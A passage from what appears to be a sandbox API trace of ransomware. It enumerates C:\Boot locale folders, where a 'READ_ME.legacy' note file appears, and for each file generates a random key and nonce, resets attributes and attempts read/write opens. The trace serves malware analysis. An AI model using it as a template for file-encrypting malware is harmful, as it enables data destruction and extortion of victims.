dwFlags=0x0, lpMem=0x563a50 | out: hHeap=0x520000) returned 1 [0109.310] FindFirstFileW (in: lpFileName="\\Boot\\pl-PL\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xc1bd5aaf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a05a8 [0109.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0109.311] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0109.311] GetLastError () returned 0x5 [0109.311] SetLastError (dwErrCode=0x5) [0109.311] GetLastError () returned 0x5 [0109.311] SetLastError (dwErrCode=0x5) [0109.311] GetLastError () returned 0x5 [0109.311] SetLastError (dwErrCode=0x5) [0109.311] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e40 [0109.311] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d138 [0109.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0109.311] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d820 [0109.311] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a03e8 [0109.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a03e8 | out: hHeap=0x520000) returned 1 [0109.311] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20228 [0109.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20228 | out: hHeap=0x520000) returned 1 [0109.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d820 | out: hHeap=0x520000) returned 1 [0109.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e40 | out: hHeap=0x520000) returned 1 [0109.311] FindNextFileW (in: hFindFile=0x5a05a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xc1bd5aaf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0109.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0109.312] GetLastError () returned 0x5 [0109.312] SetLastError (dwErrCode=0x5) [0109.312] GetLastError () returned 0x5 [0109.312] SetLastError (dwErrCode=0x5) [0109.312] GetLastError () returned 0x5 [0109.312] SetLastError (dwErrCode=0x5) [0109.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566d98 [0109.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d0e0 [0109.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0109.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6e0 [0109.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a00e8 [0109.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a00e8 | out: hHeap=0x520000) returned 1 [0109.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0109.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0109.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6e0 | out: hHeap=0x520000) returned 1 [0109.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d98 | out: hHeap=0x520000) returned 1 [0109.312] FindNextFileW (in: hFindFile=0x5a05a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0109.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0109.312] GetLastError () returned 0x5 [0109.312] SetLastError (dwErrCode=0x5) [0109.312] GetLastError () returned 0x5 [0109.312] SetLastError (dwErrCode=0x5) [0109.312] GetLastError () returned 0x5 [0109.313] SetLastError (dwErrCode=0x5) [0109.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0109.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0109.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0109.313] FindNextFileW (in: hFindFile=0x5a05a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0109.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0109.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0109.313] GetLastError () returned 0x5 [0109.313] SetLastError (dwErrCode=0x5) [0109.313] GetLastError () returned 0x5 [0109.313] SetLastError (dwErrCode=0x5) [0109.313] GetLastError () returned 0x5 [0109.313] SetLastError (dwErrCode=0x5) [0109.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0109.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0109.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0109.313] FindNextFileW (in: hFindFile=0x5a05a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1bd5aaf, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1bd5aaf, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1bd5aaf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0109.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0109.313] GetLastError () returned 0x5 [0109.313] SetLastError (dwErrCode=0x5) [0109.313] GetLastError () returned 0x5 [0109.313] SetLastError (dwErrCode=0x5) [0109.313] GetLastError () returned 0x5 [0109.313] SetLastError (dwErrCode=0x5) [0109.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0109.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0109.314] FindNextFileW (in: hFindFile=0x5a05a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1bd5aaf, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1bd5aaf, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1bd5aaf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0109.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c2540 [0109.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1098 [0109.314] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c2540 | out: pbBuffer=0x5c2540) returned 1 [0109.314] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1098 | out: pbBuffer=0x5c1098) returned 1 [0109.314] SetFileAttributesW (lpFileName="\\Boot\\pl-PL\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0109.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0109.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0109.314] CreateFileW (lpFileName="\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0109.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0109.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0109.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c2e88 [0109.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c10b8 [0109.315] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c2e88 | out: pbBuffer=0x5c2e88) returned 1 [0109.315] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c10b8 | out: pbBuffer=0x5c10b8) returned 1 [0109.315] SetFileAttributesW (lpFileName="\\Boot\\pl-PL\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0109.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0109.315] CreateFileW (lpFileName="\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0109.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0109.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0109.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0109.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563c08 | out: hHeap=0x520000) returned 1 [0109.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ac8 | out: hHeap=0x520000) returned 1 [0109.315] FindFirstFileW (in: lpFileName="\\Boot\\pt-BR\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xc1bd5aaf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a03a8 [0109.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0109.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0109.316] GetLastError () returned 0x5 [0109.316] SetLastError (dwErrCode=0x5) [0109.316] GetLastError () returned 0x5 [0109.316] SetLastError (dwErrCode=0x5) [0109.316] GetLastError () returned 0x5 [0109.316] SetLastError (dwErrCode=0x5) [0109.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f58 [0109.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d8c8 [0109.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0109.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0109.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0468 [0109.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0468 | out: hHeap=0x520000) returned 1 [0109.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20240 [0109.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20240 | out: hHeap=0x520000) returned 1 [0109.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0109.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f58 | out: hHeap=0x520000) returned 1 [0109.316] FindNextFileW (in: hFindFile=0x5a03a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xc1bd5aaf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0109.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0109.316] GetLastError () returned 0x5 [0109.316] SetLastError (dwErrCode=0x5) [0109.316] GetLastError () returned 0x5 [0109.317] SetLastError (dwErrCode=0x5) [0109.317] GetLastError () returned 0x5 [0109.317] SetLastError (dwErrCode=0x5) [0109.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670a8 [0109.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0109.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0109.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0109.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a00e8 [0109.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a00e8 | out: hHeap=0x520000) returned 1 [0109.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20168 [0109.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20168 | out: hHeap=0x520000) returned 1 [0109.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0109.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670a8 | out: hHeap=0x520000) returned 1 [0109.317] FindNextFileW (in: hFindFile=0x5a03a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0109.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0109.317] GetLastError () returned 0x5 [0109.317] SetLastError (dwErrCode=0x5) [0109.317] GetLastError () returned 0x5 [0109.317] SetLastError (dwErrCode=0x5) [0109.317] GetLastError () returned 0x5 [0109.317] SetLastError (dwErrCode=0x5) [0109.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d910 [0109.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d910 | out: hHeap=0x520000) returned 1 [0109.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0109.318] FindNextFileW (in: hFindFile=0x5a03a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0109.318] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0109.318] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0109.318] GetLastError () returned 0x5 [0109.318] SetLastError (dwErrCode=0x5) [0109.318] GetLastError () returned 0x5 [0109.318] SetLastError (dwErrCode=0x5) [0109.318] GetLastError () returned 0x5 [0109.318] SetLastError (dwErrCode=0x5) [0109.318] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0109.318] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0109.318] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0109.318] FindNextFileW (in: hFindFile=0x5a03a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1bd5aaf, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1bd5aaf, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1bd5aaf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.318] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0109.318] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0109.318] GetLastError () returned 0x5 [0109.318] SetLastError (dwErrCode=0x5) [0109.318] GetLastError () returned 0x5 [0109.318] SetLastError (dwErrCode=0x5) [0109.318] GetLastError () returned 0x5 [0109.318] SetLastError (dwErrCode=0x5) [0109.318] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0109.318] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0109.318] FindNextFileW (in: hFindFile=0x5a03a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1bd5aaf, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1bd5aaf, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1bd5aaf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0109.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c2d80 [0109.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1038 [0109.319] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c2d80 | out: pbBuffer=0x5c2d80) returned 1 [0109.319] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1038 | out: pbBuffer=0x5c1038) returned 1 [0109.319] SetFileAttributesW (lpFileName="\\Boot\\pt-BR\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0109.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0109.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.319] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0109.319] CreateFileW (lpFileName="\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.319] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.319] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0109.319] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0109.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0109.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c2b70 [0109.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1058 [0109.319] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c2b70 | out: pbBuffer=0x5c2b70) returned 1 [0109.320] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1058 | out: pbBuffer=0x5c1058) returned 1 [0109.320] SetFileAttributesW (lpFileName="\\Boot\\pt-BR\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0109.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0109.320] CreateFileW (lpFileName="\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0109.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0109.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0109.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d690 | out: hHeap=0x520000) returned 1 [0109.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563b18 | out: hHeap=0x520000) returned 1 [0109.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563c58 | out: hHeap=0x520000) returned 1 [0109.320] FindFirstFileW (in: lpFileName="\\Boot\\pt-PT\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bd5aaf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a06e8 [0109.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0109.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0109.321] GetLastError () returned 0x5 [0109.321] SetLastError (dwErrCode=0x5) [0109.321] GetLastError () returned 0x5 [0109.321] SetLastError (dwErrCode=0x5) [0109.321] GetLastError () returned 0x5 [0109.321] SetLastError (dwErrCode=0x5) [0109.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567038 [0109.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0109.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0109.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0109.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0728 [0109.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0728 | out: hHeap=0x520000) returned 1 [0109.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20078 [0109.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20078 | out: hHeap=0x520000) returned 1 [0109.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0109.321] HeapFree (in: hHeap=0x520000, 